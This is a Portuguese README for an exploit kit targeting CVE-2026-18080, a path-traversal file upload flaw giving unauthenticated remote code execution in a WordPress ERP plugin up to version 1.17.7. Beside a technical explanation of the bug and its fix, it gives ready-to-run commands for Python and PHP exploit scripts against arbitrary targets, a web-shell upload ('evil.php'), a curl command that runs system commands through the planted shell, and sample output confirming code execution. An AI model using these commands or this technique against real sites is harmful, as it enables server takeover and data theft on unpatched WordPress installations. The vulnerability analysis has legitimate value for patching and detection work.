
Exploit para CVE-2026-18080, um upload arbitrário de arquivos sem autenticação que leva a RCE no ERP Complete HR, Accounting & CRM Suite. Inclui scripts em Python e PHP para exploração automatizada.
| Campo | Valor |
|---|
| CVE | https://nvd.nist.gov/vuln/detail/CVE-2026-18080 |
| Wordfence | https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 |
| Patch | https://plugins.trac.wordpress.org/changeset/3656848/erp |
| CVSS | 9.8 (Crítico) |
| CWE | CWE-434 (Upload Irrestrito de Arquivo com Tipo Perigoso) |
| Afetados | Versões do plugin ERP <= 1.17.7 (corrigido na 1.17.8) |
A função save_attachments() do plugin ERP em GmailSync.php processa anexos de e-mail recebidos via IMAP sem normalização de caminho. Um atacante pode criar um e-mail com um nome de arquivo como ../../plugins/shell.php e um cabeçalho References forjado que corresponda ao padrão esperado pelo plugin. O job de sincronização IMAP baseado em cron grava o arquivo fora do diretório crm-attachments/ protegido por .htaccess em qualquer caminho gravável sob wp-content/.
Em GmailSync.php (v1.17.7):
$name = $item['name']; // Sem basename() ou normalização de caminho
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );
O nome de arquivo ../../plugins/shell.php concatenado com $dir (wp-content/uploads/crm-attachments/) resolve para wp-content/plugins/shell.php — um diretório onde a execução de PHP é permitida.
A correção (v1.17.8) adiciona sanitize_attachment_filename(), que remove componentes de diretório via basename(), rejeita separadores de caminho e bloqueia extensões perigosas.
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target.com --shell evil.php --path themes
python3 exploit.py -t https://target.com --phpinfo
Após o upload bem-sucedido:
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
| Arquivo | Descrição |
|---|---|
exploit.py | Script de exploração em Python usando wp-cli |
exploit.php | Exploração PHP autônoma para wp eval-file |
README.md | Este arquivo |